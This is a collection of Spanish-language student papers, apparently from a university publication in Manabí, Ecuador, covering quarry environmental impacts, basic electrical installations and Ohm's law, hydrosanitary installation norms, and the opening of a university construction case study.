Es así que en tal virtud y con la inclusión de las observaciones del análisis de Impacto Ambiental se logra indagar el propósito de la conservación de la caracterización de los componentes naturales, físicos, arqueológicos de nuestras canteras identificando y evaluando los posibles impactos ambientales de las actividades de estos proyecto de extracción; así como también se desarrollan medidas necesarias para garantizar la conservación del área de influencia con el respectivo Plan de Manejo Ambiental, como instrumento de seguimiento y control.

En razón a que los trabajos de extracción minera en la cantera de Picoazá se realizan de manera antitécnica y sin contar con un diseño de explotación, para solucionar los problemas socio-ambientales que se han generado en el área adyacente a la responsabilidad profesional, por lo que es preciso llevar a cabo este estudio con una buena calidad y seguridad para que dentro de su vida útil estos proyectos de extracción de materiales pétreos minimicen los riesgos que se puedan generar minimizando costos y maximizando beneficios para los pobladores .

Por lo tanto mediante el alcance de la investigación empleada al desarrollo del impacto ambiental y al análisis de los objetivos al libre sesgo de las variables ambientales que afectan positiva y negativamente a la explotación de canteras permiten reconocer que estas afectaciones ambientales disminuyen la calidad de aire, suelo, flora, fauna y altera los factores socio económicos siendo así de vital importancia proteger la biodiversidad de nuestro ambiente haciendo valer los derechos humanos y conservación ambiental.

MATERIALES Y MÉTODOS

Materiales

- ✓ Computadora
- ✓ Internet
- ✓ Pendrive
- ✓ Papel A - 4
- ✓ Impresoras
- ✓ Material de oficina

MÉTODOS

Con la finalidad de realizar un análisis eficiente y desarrollo de manera idónea en la presente investigación se han utilizado los siguientes métodos:

Investigación de Campo. Permitió analizar el estado actual y cumplimiento de regímenes de marco legal de las Canteras de Picoazá.

Bibliográfico. A través de este método se consiguió información necesaria para el análisis de la investigación teniendo como herramienta principal normas, leyes, artículos y régimen de Gobierno Provincial de Manabí en la extracción de materia pétrea.

RESULTADO Y DISCUSIÓN

CATEGORIA	RANGO
Moderado	1 a 10
Severo	11 a 20
Crítico	mayor a 30

EXTRACCION Y TRANSPORTE DE MATERIAL PETREO DE LA CANTERA DE LA PARROQUIA PICOAZÁ DEL CANTON PORTOVIEJO		ACCIONES		
FACTOR AMBIENTAL AFECTADO	IMPACTO NEGATIVO PERCIBIDO	CONTAMINACION AMBIENTAL	ENFERMEDADES	INSEGURIDAD
Suelo	Desechos generados			
Agua	Alteración de su calidad			
Atmosfera	Ruido, polvo, gases			
Flora	Destrucción			

Fauna	Huida/retiro			
Social	Accidentes			
Paisaje	Distorsión			

Se demuestra que en los factores ambientales afectados por los impactos negativos de la extracción de material pétreo generas acciones relevantes que alteran la estabilidad de la biodiversidad ambiental de nuestra sociedad, por tanto:

Se calificaron 2 acciones de la investigación con “impacto crítico” debido a que los desechos generados afectan directamente a la contaminación ambiental del suelo, agua, destrucción de flora por la generación de desechos sólidos como, fundas, tarrinas, y otros envases plásticos, vidrio, aluminio, u otros elementos no biodegradables que son perjudiciales principalmente para la fauna y los existente en el sector; y a los accidentes que pueden ocurrir por falta de conocimiento de los operadores de la maquinaria y de personas particulares que ingresen al área minera.

Se calificaron 3 acciones de la investigación con “impacto severo” debido a que a que no se estableció las medidas de prevención a medio plazo que alteran la calidad de agua, un ambiente ruidoso lleno de gases y polvo que genera el alejamiento de la población, y la distorsión del paisaje a causa de la intromisión de maquinaria como figura que no encajan dentro del paisaje natural de la zona, que se caracteriza por ser verde por su cobertura natural y la presencia de animales silvestres y domésticos perdiendo el valor ambiental y su pronta recuperación.

Se calificaron 2 acciones de la investigación con “impacto moderado” debido a la posibilidad de recuperación a corto plazo ya que se puede moderar la inseguridad que generan los factores ambientales y que pueden causar enfermedades leves que afectan a toda una población, un impacto positivo que refleja la mejora de la calidad de vida de las personas que conforman las comunidades que se benefician al tener vías mejoradas en estas áreas de canteras de la Parroquia Picoazá/Portoviejo.

CONCLUSIONES

Se puede demostrar que la importancia de ejecutar la extracción de materia pétreo de las canteras de Picoazá en obras públicas, privadas y mixtas puedan causar impactos ambientales, por lo que es relevante respetar y establecer los proyectos bajo los regímenes del Gobierno Provincial que calificaran previamente su ejecución bajo el control, conforme lo establezca Sistema Unico de Manejo Ambiental que es el principal rector en precautelar los principios y directrices de la política ambiental que determina las obligaciones, responsabilidades, niveles de participación del sector público privado y mixto en la gestión ambiental.

Otro punto a mencionar es los factores ambientales generados por la extracción de material pétreo de las canteras inciden negativamente en la contaminación del agua, suelo y atmósfera generando un desequilibrio ecológico para la humanidad en general e incidiendo en toda una población netamente activa.

Así mismo es importante concluir que al equilibrar la explotación de las canteras estamos sosteniendo medidas pertinentes en cada una de las acciones mineras para minimizar los impactos negativos a fin de compatibilizar y preservar el medio ambiente haciendo valer derechos a normas y reglamentos medio ambientales y que mantengan la conservación de área patrimonial ambiental y arqueológica

REFERENCIAS BIBLIOGRÀFICAS

Christian Alfonso Espinoza, Diego Fernando Guzñay. (2013). ESTUDIO DE IMPACTO AMBIENTAL EXPOST DE LA CANTERA SAN ANTONIO UBICADA EN LA PARROQUIA LA AURORA DEL CANTÓN DAULE. Universidad Politécnica Salesiana SEDE Guayaquil, Guayaquil-Ecuador.

Finder, L. (2018). LEY DE GESTION AMBIENTAL Normativa Marco Legal. LFinder.

SEGOVIA, I. M. (2013). ESTUDIO DE IMPACTO EXPOST- DEL PROYECTO: OPERACIÓN Y CIERRE DE LA CANTERA JOA. Gobierno provincial de Manabi, Portoviejo.

INSTALACIONES ELÉCTRICAS APLICADAS A LAS CONSTRUCCIONES CIVILES

Ing. Guillen Morales Freddy Humberto

Miranda Quimis Jaime Antonio

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

La presente investigación se basa en que los alumnos comprendan los conceptos básicos de las diferentes instalaciones eléctricas y su legislación del reglamento electrotécnico de baja, media y alta tensión (Gabriel, 2016).

Una instalación eléctrica se le llama al conjunto de elementos que permiten transportar y distribuir la energía eléctrica, desde el punto de suministro hasta los equipos que la utilicen. Entre estos elementos se incluyen: tableros, interruptores, transformadores, bancos de capacitores, dispositivos, sensores, dispositivos de control local o remoto, cables, conexiones, contactos, canalizaciones y soportes.

Los aspectos importantes que deben tomarse en cuenta a la hora de efectuar una instalación eléctrica de tipo residencial, es precisar la carga que se va a alimentar, por lo que debe proyectarse todos los aparatos electrodomésticos y electrónicos que se van a utilizar en la residencia. La puesta a tierra de la instalación eléctrica es una característica que se debe atender, ya que este conductor ofrecerá una mayor seguridad en cuanto a la prevención de algún accidente eléctrico (Cristhian, 2016).

Al momento de efectuar una instalación eléctrica residencial, se debe velar por la protección de la vida humana", de allí radica la importancia de efectuar una apropiada instalación eléctrica residencial, porque muchos electricistas técnicos e ingenieros tienen la responsabilidad de evitar riesgos y situaciones no deseadas que no solo pueden afectar el inmueble en donde se realice la instalación.

Para hablar de seguridad en las instalaciones eléctricas debemos de conocer los elementos equipos y fallas que podemos encontrar en una instalación tales como: En un tablero eléctrico se concentran los dispositivos de protección y de maniobra de los circuitos eléctricos de la instalación. En el caso de instalaciones residenciales este tablero generalmente consiste en una caja en cuyo interior se montan los interruptores automáticos respectivos (Jose, 2016).

Palabras claves: Iluminación, Climatización, Calefacción.

SUMMARY

The present investigation is based on the students understanding the basic concepts of the different electrical installations and their legislation of the electro technical regulation of low, medium and high tension (Gabriel, 2016).

An electrical installation is called the set of elements that allow to transport and distribute electrical energy, from the point of supply to the equipment that uses it. These elements include: boards, switches, transformers, capacitor banks, devices, sensors, local or remote-control devices, cables, connections, contacts, conduits, and supports.

The important aspects that must be taken into account when making a residential type electrical installation, is to specify the load that is going to be fed, so all the electrical and electronic appliances that will be used in the residence must be projected. The grounding of the electrical installation is a feature that must be addressed, since this driver will offer greater safety in terms of the prevention of an electrical accident (Cristhian, 2016).

At the time of making a residential electrical installation, you must ensure the protection of human life ", hence the importance of making an appropriate residential electrical installation, because many technical electricians and engineers have the responsibility to avoid risks and unwanted situations that can not only affect the property where the installation is made.

To talk about safety in electrical installations, we must know the elements of equipment and faults that can be found in an installation such as: In an electrical panel the protection and maneuvering devices of the electrical circuits of the installation are concentrated. In the case of residential installations, this board generally consists of a box in which the respective circuit breakers are mounted (Jose, 2016).

Keywords: lighting, air conditioning, heating.

INTRODUCCIÓN

¿Qué es la electricidad?

“La electricidad es un flujo de electrones a través de un medio que sea capaz de permitir su circulación.”

La electricidad nos rodea: estamos acostumbrados a convivir con fenómenos eléctricos tanto naturales (el rayo, la electricidad estática...) como artificiales (la iluminación de nuestros hogares, el funcionamiento de los electrodomésticos y máquinas eléctricas...).

En la sociedad actual, constituye una parte importante de todos y cada uno de los aspectos de la vida. Cuando nos falta nos damos cuenta de cómo nuestra vida gira en torno a ella. Sin la electricidad no habrían podido desarrollarse la mayor parte de los avances técnicos que disfrutamos y el tipo de vida que llevaríamos sería completamente distinto.

La energía eléctrica tanto a nivel doméstico como en la industria, la luz eléctrica, y un gran número de objetos que funcionan gracias a la electricidad que han provocado a que hoy, la electricidad sea absolutamente imprescindible (Kainet, 2017).

La carga eléctrica

La materia está constituida por unas partículas elementales llamadas átomos.

Dentro de cada átomo es posible distinguir dos zonas. La zona central llamada núcleo, la cual concentra unas partículas subatómicas que tienen carga eléctrica positiva llamadas protones y otras partículas neutras, desde el punto de vista de la carga eléctrica, llamados neutrones.

Rodeando al núcleo se localiza la corteza. En esta zona se mueven los electrones, que son partículas con carga eléctrica negativa, girando en orbitales que envuelven al núcleo (Kainet, 2017).

Magnitudes eléctricas

Para comprender el funcionamiento de los circuitos eléctricos y electrónicos y poder diseñarlos necesitamos conocer las magnitudes eléctricas que los caracterizan y saber cómo medirlas utilizando un polímetro. Las magnitudes eléctricas que vamos a ver son:

Voltaje, resistencia, intensidad, energía y potencia

Recuerda que una magnitud es una propiedad que se puede medir. Por ejemplo se puede medir la longitud, el tiempo, la velocidad, etc. Todas ellas son magnitudes.

La ley de Ohm

La Ley de Ohm relaciona las magnitudes de voltaje, resistencia e intensidad de la siguiente manera. Su enunciado es el siguiente:

Ley de Ohm.

La intensidad de corriente que atraviesa un circuito es directamente proporcional al voltaje o tensión del mismo e inversamente proporcional a la resistencia que presenta.

En forma de fracción se pone de la siguiente forma:

$$I = \frac{V}{R}$$

Donde I es la intensidad que se mide en amperios (A), V el voltaje que se mide en voltios (V); y R la resistencia que se mide en ohmios (Ω).

Con esta expresión vas a ser capaz de calcular en un circuito una magnitud a partir de las otras dos. Para calcular la intensidad calculamos directamente la fracción anterior.

El circuito eléctrico

“Un circuito eléctrico es un recorrido cerrado cuyo fin es llevar energía eléctrica desde unos elementos que la producen hasta otros elementos que la consumen.”

Cuando un cuerpo está cargado negativamente y el otro está cargado positivamente, se dice que entre ellos hay una diferencia de cargas. Cuando conectamos mediante un elemento conductor dos puntos con una diferencia de cargas eléctricas, los electrones circularán provocando la corriente eléctrica.

Una vez conectados, los electrones en exceso de uno, serán atraídos a través del conductor (que permite el paso de electrones) hacia el elemento que tiene un defecto de electrones, hasta que las cargas eléctricas de los dos cuerpos se equilibren.

Esta diferencia de cargas la podemos encontrar, por ejemplo, en una pila, que tiene dos puntos con diferencias de cargas (el polo positivo y el polo negativo). Si conectamos un cable conductor entre los polos, se establecerá una corriente eléctrica. Cuanto mayor sea la diferencia de carga (o tensión eléctrica), con más fuerza recorrerán los electrones el conductor (Gonzales, 2017).

Elementos de un circuito eléctrico

Un circuito eléctrico consta de cinco tipos de elementos fundamentales: elementos generadores, elementos conductores, elementos receptores, elementos de maniobra y control e por último elementos de protección. Para que exista un circuito tiene que haber, por lo menos, un generador, un medio conductor y un receptor.

Tipos de circuitos eléctricos

Los circuitos que encontramos en muchos dispositivos son muy complejos, pero todos incluyen internamente determinados tipos de conexiones básicas: serie y paralelo.

- Circuito simple: Un circuito simple es aquel que consta de un sólo receptor.
- Circuito serie: Es un circuito en el que conectamos varios receptores uno después de otro.
- Circuito paralelo: En un circuito en paralelo los receptores se conectan uniando los terminales de principio y fin de los componentes entre sí.
- Circuito mixto: Un circuito mixto es aquel en el que se combinan conexiones en serie y en paralelo.
- Cortocircuito: Un cortocircuito es una conexión entre dos terminales de un elemento de un circuito eléctrico, lo que provoca una anulación parcial o total de la resistencia en el circuito, lo que conlleva un aumento en la intensidad de corriente que lo atraviesa.

Clasificación de las instalaciones eléctricas

- Instalaciones en Baja Tensión: son aquellas Instalaciones cuya tensión nominal de servicio no es superior a 1000 V.
- Instalaciones en Media Tensión: son aquellas Instalaciones cuya tensión nominal de servicio está comprendida entre 1.001 y 35.000 V.
- Instalaciones en Alta Tensión: son aquellas Instalaciones cuya tensión nominal de servicio está comprendida entre 35.001 y 300.000 V.
- Instalaciones en Extra Alta Tensión: son aquellas Instalaciones cuya tensión nominal de servicio está comprendida entre 300.001 y 750.000 V (Abalar, 2017).

Montajes en serie y en paralelo

	Pilas	Receptores
En serie	<p>Se suministra al circuito más voltaje que si solo se emplea una pila.</p> <p>No aumenta la duración de las pilas.</p>	<p>Por las dos circula la misma intensidad de corriente y se reparten la tensión que suministra la pila.</p> <p>Cada una de ellas lucirá menos que si estuviera sola y consumirá menos potencia.</p>
En paralelo	<p>Se sigue suministrando al circuito el mismo voltaje que con una sola pila.</p> <p>Aumenta la duración de las pilas.</p>	<p>En los extremos de la conexión cae la misma tensión que si estuviese una sola bombilla.</p> <p>Cada una de ellas lucirá igual que si estuviese sola y consumirá la misma potencia.</p>

Norma de instalaciones de corrientes

Las normas tienen por objeto fijar las condiciones mínimas de seguridad que deben cumplir las instalaciones eléctricas de corrientes fuertes, tanto en el caso de instalaciones interiores como en el caso de redes o sistemas de servicio público, con el fin de salvaguardar a las personas que las operan o hacen uso de ellas y preservar el medio ambiente en que han sido construidas (Chile, 2010).

Las instalaciones eléctricas

Una de las grandes ventajas de la energía eléctrica es que es fácil de transportar, porque "viaja por los cables de la luz". Las torres de alta tensión y el tendido eléctrico forman parte de nuestro paisaje cotidiano.

Pero para que ese transporte se produzca de la mejor manera, es necesario transformar la corriente eléctrica al salir de las centrales y volver a transformarla al llegar a los centros de consumo.

Fíjate en el siguiente esquema y en todas las etapas por las que atraviesa la electricidad desde que se produce hasta que llega a nuestra casa:

Instalaciones eléctricas en las viviendas

Para realizar el gesto en casa de encender una lámpara o conectar tu PC, es necesario un suministro de energía eléctrica fiable y seguro.

La instalación eléctrica de una vivienda supone el sistema de alimentación energética del que dependen todos los demás elementos y componentes que posteriormente se conecten al mismo: iluminación, climatización, y diversos aparatos electrodomésticos que proporcionarán a la vivienda de un elevado grado de confort, favoreciendo la habitabilidad de la misma (Salazar, 2017).

MATERIALES Y MÉTODOS

Métodos

Con la finalidad de realizar un análisis eficiente y desarrollo de manera idónea en la presente investigación se han utilizado los siguientes métodos:

Investigación de Campo. Permitió analizar el estado actual de las instalaciones eléctricas en viviendas conocidas.

Bibliográfico. A través de este método se consiguió información necesaria para el análisis de la investigación teniendo como herramienta principal los fundamentos de ingeniería, diseño en remodelación, materiales de construcción y remodelación del área a ejecutar la cual representó un apoyo valioso para la realización de la misma.

Instrumentos

- Análisis de contenido
- Bibliografías
- Sitios web

Recursos

Recursos humanos

- Investigadores/ Estudiantes

- Docente

Recursos de Materiales Didácticos

- Computadora
- Internet
- Papel copia
- Papel A - 4
- Cinta de impresoras
- Material de oficina

Resultados y discusión

Según la investigación que se llevó a cabo mediante sitios web y páginas referenciales se consideraron los diversos análisis del tema propuesto sobre las instalaciones eléctricas aplicadas a las construcciones civiles.

La importancia del control de calidad en el desarrollo de cualquier proyecto, radica en que toda construcción debe ejecutarse de acuerdo a las especificaciones técnicas, memorias de cálculo y normativa aplicable para la obra en particular.

Lo cual tuvo cierto impacto en las bases de los estudiantes que se basen en estas tipos de investigaciones permitiéndoles tener un mejor entendimiento y conocimiento.

CONCLUSIONES

Luego de haber revisado diferentes fuentes bibliográficas la investigación presente nos permitió analizar y comprender ciertos conceptos sobre las instalaciones eléctricas los cual forman parte esencial en nuestras vidas, pues constantemente estamos observando y colaborando en su funcionamiento.

Se logró procesar esta información, obteniendo como resultado un manual que servirá de apoyo a estudiantes universitarios, que trabajen en proyectos de esta naturaleza, entregando una visión general de los aspectos más relevantes a tomar en cuenta en las construcciones de líneas de transmisión de energía eléctrica.

REFERENCIAS BIBLIOGRÀFICAS

Abalar, E. (2017). *Edu.X*. Obtenido de https://www.edu.xunta.es/espazoAbalar/sites/espazoAbalar/files/datos/1464947843/contido/4_medidas_en_circuitos_elctricos.html

Chile, U. A. (2010). *Pdf*. Obtenido de <http://cybertesis.uach.cl/tesis/uach/2005/bmfciq.5m/doc/bmfciq.5m.pdf>

Cristhian, B. (Febrero de 2016). *Monografias*. Obtenido de <https://www.monografias.com/trabajos107/instalaciones-electricas-y-normas/instalaciones-electricas-y-normas.shtml#bibliograa>

Gabriel, C. (Febrero de 2016). *Monografias*. Obtenido de <https://www.monografias.com/trabajos107/instalaciones-electricas-y-normas/instalaciones-electricas-y-normas.shtml#bibliograa>

Gonzales, A. (2017). *Edu.X*. Obtenido de https://www.edu.xunta.es/espazoAbalar/sites/espazoAbalar/files/datos/1464947843/contido/3_el_circuito_elctrico.html

Jose, A. (Febrero de 2016). *Monografias*. Obtenido de <https://www.monografias.com/trabajos107/instalaciones-electricas-y-normas/instalaciones-electricas-y-normas.shtml#bibliograa>

Kainet. (18 de abril de 2017). *Edu.Xunta*. Obtenido de https://www.edu.xunta.es/espazoAbalar/sites/espazoAbalar/files/datos/1464947843/contido/1_qu_es_la_electricidad.html

L., M. (2017). *Edu.X*. Obtenido de https://www.edu.xunta.es/espazoAbalar/sites/espazoAbalar/files/datos/1464947843/contido/2_magnitudes_elctricas.html

L., M. (2017). *Edu.X*. Obtenido de https://www.edu.xunta.es/espazoAbalar/sites/espazoAbalar/files/datos/1464947843/contido/24_la_ley_de_ohm.html

Salazar. (2017). *Edu.X*. Obtenido de https://www.edu.xunta.es/espazoAbalar/sites/espazoAbalar/files/datos/1464947843/contido/5_las_instalaciones_elctricas.html

INSTALACIONES HIDROSANITARIAS APLICADAS A LAS CONSTRUCCIONES CIVILES

Ing. Guillen Morales Freddy Humberto

Wilber Honorato Vences Chilán

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Telefono 0998587409

RESUMEN

La presente de investigación corresponde a las instalaciones hidrosanitarias aplicadas a las construcciones civiles, donde se analiza en cuestión estructural los elementos importantes para el diseño y construcción de instalaciones hidrosanitarias de acuerdo a la lectura y comprensión de los planos y especificaciones que son el trabajo que muestra el soporte técnico de una casa o edificio, que incluye la cimentación de las conexiones elevadas, conexiones en planta donde se debe esquematizar los planos de instalación a través de los dibujos tridimensionales que demuestren el sistema de tuberías de drenaje, aguas residuales, drenaje superficial o de aguas lluvias y alcantarillado en el cual las construcciones hidrosanitarias requieren de un aspecto importante en el diseño de la red de instalaciones debido a que debe satisfacer las necesidades básicas del ser humano, como son el agua potable para la preparación de alimentos, el aseo personal y eliminando desechos orgánicos. Las instalaciones sanitarias proyectadas en este caso, son del tipo clínico asistencial, donde se consideran los aparatos sanitarios de uso privado. Estas instalaciones deben cumplir con las exigencias de habitabilidad, funcionabilidad, durabilidad y economía en todas las cimentaciones. El diseño de la red sanitaria, que comprende el cálculo de la pérdida de carga disponible, carga por tramos considerando los accesorios, el cálculo de las presiones de salida, tiene como requisito, conocer la presión de la red pública, la presión mínima de salida, las velocidades máximas permisibles por cada tubería y las diferencias de altura conociendo estos datos se logrará un correcto dimensionamiento hidrosanitario.

Palabras Claves: Hidrosanitario, drenaje, presión.

SUMMARY

The present investigation corresponds to the Hydrosanitary Installations Applied to the Civil Constructions where the important elements for the design and construction of hydro-sanitary facilities are analyzed in structural question according to the reading and comprehension of the plans and specifications that are the work that shows the technical support of a house or building that includes the foundation of the elevated connections, connections in the plant where the installation plans must be schematized through the three-dimensional drawings that

show the system of drainage pipes, wastewater, surface drainage or water rains and sewerage in which hydraulic constructions require an important aspect in the design of the network of facilities because it must meet the basic needs of the human being, such as drinking water for food preparation, personal hygiene and eliminating organic waste. The sanitary installations projected in this case are of the clinical assistance type, where the sanitary devices for private use are considered. These facilities must comply with the requirements of habitability, functionality, durability and economy in all foundations. The design of the sanitary network, which includes the calculation of the available load loss, load by sections considering the accessories, the calculation of the exit pressures, has as a requisite, to know the pressure of the public network, the minimum exit pressure, the maximum permissible speeds for each pipe and the height differences knowing this data will achieve a correct hydrosanitary dimensioning.

Key Words: Hydrosanitary, drainage, pressure, surface drainage.

INTRODUCCIÓN

El diseño de las instalaciones hidrosanitarias en casas o edificios han sido una disciplina de la Ingeniería Civil que no ha tomado la suficiente atención e importancia por parte de la sociedad, actualmente muchas de las instalaciones en casas habitación, conjuntos habitacionales y edificios de cualquier índole sufren de severos problemas por un mal lineamiento de lectura y comprensión de los planos y especificaciones que son el trabajo que muestra el soporte técnico de las instalaciones. Es por ello que el presente trabajo tiene como propósito contribuir en el diseño de redes de distribución hidrosanitaria con redes de distribución y determinación de carga requerida de acuerdo a las normas establecidas.

Es que las instalaciones sanitarias son el conjunto de tuberías, equipos y accesorios que se encuentran dentro del límite de propiedad de la obra y que son destinados a suministrar agua libre de contaminación y a eliminar el agua servida. Estos servicios se encuentran dentro del límite de propiedad, tomando como punto de referencia la conexión domiciliaria por lo que es importante dotar de agua en cantidad y calidad suficiente para abastecer a todos los servicios sanitarios dentro de la obra evitando que el agua usada se mezcle con agua residual que pueden causar peligro de la contaminación.

Por tanto cada instalación proyectada debe responder bajo normativas vigentes de cada tipo de instalación, siendo calculadas y verificadas según los métodos en la respectiva Norma Ecuatoriana de la construcción NEC 11 donde la “RESOLUCIÓN DÉCIMO QUINTA, Registro Oficial N° 166.- En marca que los procesos constructivos que inician a partir de la expedición de la presente reforma, deberán obligatoriamente cumplir con las normas ecuatorianas de la construcción que el ente rector en materia de hábitat y asentamientos humanos expedirá para el efecto. (VIVIENDA, 2014)

El alcance específico de su aplicación deberá ser detallado en los capítulos de la misma norma es así que en el capítulo 16 de la NORMA HIDROSANITARIA NHE AGUA afirma que:

16.1.1 Es técnicamente necesario y socialmente conveniente que el diseño y ejecución de instalaciones hidrosanitarias en casa o edificios sean referidos a una norma nacional que garantice su funcionalidad, con las características físicas y topológicas apropiadas, para su operación y mantenimiento.

16.1.2 Toda nueva instalación hidrosanitaria al interior de inmuebles, bien sea por construcción nueva, por rehabilitación o por ampliación de instalaciones previamente existentes, deberán referirse a esta norma técnica.

16.1.3 Si en algún momento se considera que existen casos, procedimientos y tópicos que no son contemplados ó amparados por esta norma técnica, deberán ser fijados, justificados y demostrados por el consultor proyectista en la memoria técnico-ejecutiva correspondiente, seguidamente analizados y aprobados por su fiscalizador.

Normativa Nacional

NTE INEN 117:75. Norma Técnica Ecuatoriana para roscas ASA para tuberías y accesorios. Especificaciones.

NTE INEN 440:84. Colores de identificación de tuberías.

NTE INEN 885:00. Artefactos domésticos a gas licuado de petróleo (GLP). Mangueras flexibles de conexión. Requisitos.

NTE INEN 1108:2011. Agua potable. Requisitos.

NTE INEN 1328:94. Tubería plástica. Accesorios de PVC rígido para presión.

Dimensiones básicas.

NTE INEN 1329:09. Tubería plástica. Accesorios de PVC rígido para uso sanitario.

Dimensiones básicas.

NTE INEN 1333:86. Tubería plástica. Terminología.

NTE INEN 1366:86. Tubería plástica. Tubos de PVC rígido para presión. Clasificación.

NTE-INEN 1372:2010. Tubos y accesorios plásticos para conducir agua potable.

Requisitos bromatológicos y organolépticos.

NTE-INEN 1373:2010 Tubería Plástica. Tubos y accesorios de PVC rígido para presión (AA.PP.). Requisitos.

NTE-INEN 1374 Tubería Plástica. Tubería de PVC rígido para usos sanitarios en sistemas a gravedad.

NTE INEN 1569:2011. Artefactos sanitarios. Clasificación.

NTE INEN 1571:2011. Artefactos sanitarios. Requisitos.

NTE INEN 1744:09. Tubos de polietileno (PE) para conducción de agua a presión.

Requisitos.

NTE INEN 2124:98. Uso e instalación de calentadores de agua a gas de paso continuo y acumulativo.

NTE INEN 2187:99. Calentadores de agua a gas para uso doméstico. Requisitos e inspección.

NTE INEN 2360:04. Tubos de polietileno (PE) de pared estructurada e interior liso para alcantarillado.

NTE INEN 2470:08. Tubos de acero al carbono con costura, negros y galvanizados para conducción de fluidos. Requisitos.

NTE INEN 2474:09. Tubería plástica. Tubos de PVC rígido para uso en ventilación de sistemas sanitarios. Requisitos.

NTE INEN 2497:09. Tubería plástica. Tubos de PVC rígido unión por rosca, para conducción de agua potable a presión. Cédula 80. Requisitos. (MIDUVI, 2011)

Por medio de estas normas se establecen los parámetros mínimos exigibles y las recomendaciones técnicas del diseño y ejecución de proyectos para suministro de construcción e instalación de agua potable y residual en edificaciones o también llamados proyectos de instalaciones hidrosanitarias.

Los parámetros mínimos exigibles y las recomendaciones técnicas que en este punto se establecen, buscan garantizar tras su aplicación y cumplimiento, el buen desempeño de las instalaciones interiores de agua potable del predio o edificación, con la implícita seguridad que las instalaciones presten un servicio adecuado en cantidad y calidad.

Es así que el alcance del proyecto comprende el diseño de redes estructuradas con conexión proyectada a red hidráulica, drenaje sanitario para evitar también tener problemas futuros de alcantarillado si los diámetros no son los adecuados para conducir las aguas residuales, un mal diseño en la instalación sanitaria puede ocasionar la generación de malos olores si no se toman en cuenta el diseño de tubos de ventilación o la colocación de sellos hidráulicos en los aparatos sanitarios.

Desde el punto de vista constructivo, lo primero que llama la atención es alcanzar un diseño estructural y arquitectónico de la obra con elementos indispensables para el adecuado funcionamiento de las casas o edificios por lo que es importante también dimensionar la tubería de distribución interna la velocidad del flujo para efectuar el buen funcionamiento de las instalaciones, por lo que este proyecto finaliza el buen dimensionamiento de la red, lo cual consiste en el buen estudio y lectura de los planos, lo que ayudara a detallar cada tramo de la red de instalación terminando con un análisis factible de los factores de seguridad que deben cumplir y acatar las normas de construcción ecuatoriana para el diseño de red hidrosanitaria, lo que garantizara que el sistema funcione en óptimas condiciones evitando pérdida de presión por uso simultáneo en los diferentes tramos del servicio.

MATERIALES Y MÉTODOS

Materiales

- ✓ Computadora
- ✓ Internet
- ✓ Pendrive
- ✓ Papel A-4
- ✓ Impresoras
- ✓ Material de oficina

Métodos

Con la finalidad de realizar un análisis eficiente y desarrollo de manera idónea en la presente investigación se han utilizado los siguientes métodos:

Investigación de Campo. Permitió analizar el estado actual de las instalaciones hidrosanitarias y su cumplimiento de NORMA HIDROSANITARIA NHE AGUA

Bibliográfico. A través de este método se consiguió información necesaria para el análisis de la investigación teniendo como herramienta principal NORMA HIDROSANITARIA NHE AGUA para la construcción.

Resultado y discusión

Imagen 1 Diseño de Instalaciones Hidrosanitarias

<https://www.hidrasoftware.com/como-realizar-el-diseno-de-instalaciones-sanitarias-en-edificios-con-plumber/>

Previa figura tomada de SOFTWARE HIDRA este esquema de diseño de instalación hidrosanitaria refleja el proyecto de red donde se resalta las longitudes y accesorios que se especifican en cada columna de instalación determinando el diámetro mínimo y la altura geométrica del proyecto que serán consideradas al número de aparatos sanitarios, sumideros, etc. Esto es de vital importancia ya que el caudal de agua servidas que circulara es directamente proporcional al número de unidades de desagüe por lo que es importante analizar los parámetros de diseño que conduce el sistema de agua potable, captación, conducción, estación de bombeo, sistema apropiado de potabilización, red de distribución ya que presentando estos parámetros y disposiciones específicas aportamos de forma concreta al alcance del deseo de instalación.

CONCLUSIONES

Para concluir se ha podido lograr analizar que hay muchos aspectos diversos a tratar para conseguir un diseño apropiado de una red hidrosanitaria que parte de normas de contricción hasta la buena ejecución de planos. Este tipo de redes constituyen un problema muy complejo con innumerables soluciones.

Por ello se ha intentado dotar de conocimientos en la investigación para analizar, diseñar y calcular eficazmente una red hidrosanitaria ya que con estas herramientas y método en común se puede resolver un problema concreto para un correcto diseño y dimensionado de una red.

Las instalaciones sanitarias consisten en tener un buen sistema de tuberías que se encargue del suministro de agua potable para el consumo de la población a abastecer y de la evacuación de las aguas residuales consumidas y aguas pluviales proveniente de la lluvia, diseñadas según las normas sanitarias establecidas y las características de la obra.

REFERENCIAS BIBLIOGRÁFICAS

1. MIDUVI. (2011). *NORMA HIDROSANITARIA NHE AGUA*. Ministerio de Desarrollo Urbano y Vivienda. Quito: Camara de la Construcción de Quito.
2. VIVIENDA, M. D. (2014). *Presentación Norma Ecuatoriana de la Construcción*. Quito - Ecuador.

EXPERIENCIA EN CONSTRUCCIÓN DESDE LA UNIVERSIDAD. CASO DE ESTUDIO UNESUM

Ing. Francisco Segundo Ponce Reyes.

Jessica Liliana Plua Baque

Jean Carlos Cabezas Ortiz

Valeria Estefanía Cabay Zambrano

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

El propósito de este trabajo es dar a conocer la experiencia en construcción desde la universidad. Caso de estudio UNESUM, que los estudiantes han logrado en sus diversos proyectos como estudiantes; realizado en base a metodología aprender haciendo, información basada en aprendizaje por experimentación; esto permite contrastar la teoría con la práctica. De forma complementaria se utilizó el método de la revisión bibliográfica para recopilar la información más relevante sobre el tema en estudio. Con el diagnóstico y con la visión de servicio a la comunidad por parte de la Universidad Estatal del Sur de Manabí, se elaboró el proyecto de Vinculación con la Sociedad denominado: Diseño y construcción de parque El Paraíso. El mismo se planifico por parte de los estudiantes de la Carrera de Ingeniería Civil de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí; dicha planificación contiene la Topografía del terreno; el diseño del parque, el presupuesto, como aporte de la UNESUM a la Ciudadela “El Paraíso” de Jipijapa.

PALABRAS CLAVE: Experiencia en construcción, visión de servicio a la comunidad, El Paraíso.

ABSTRACT

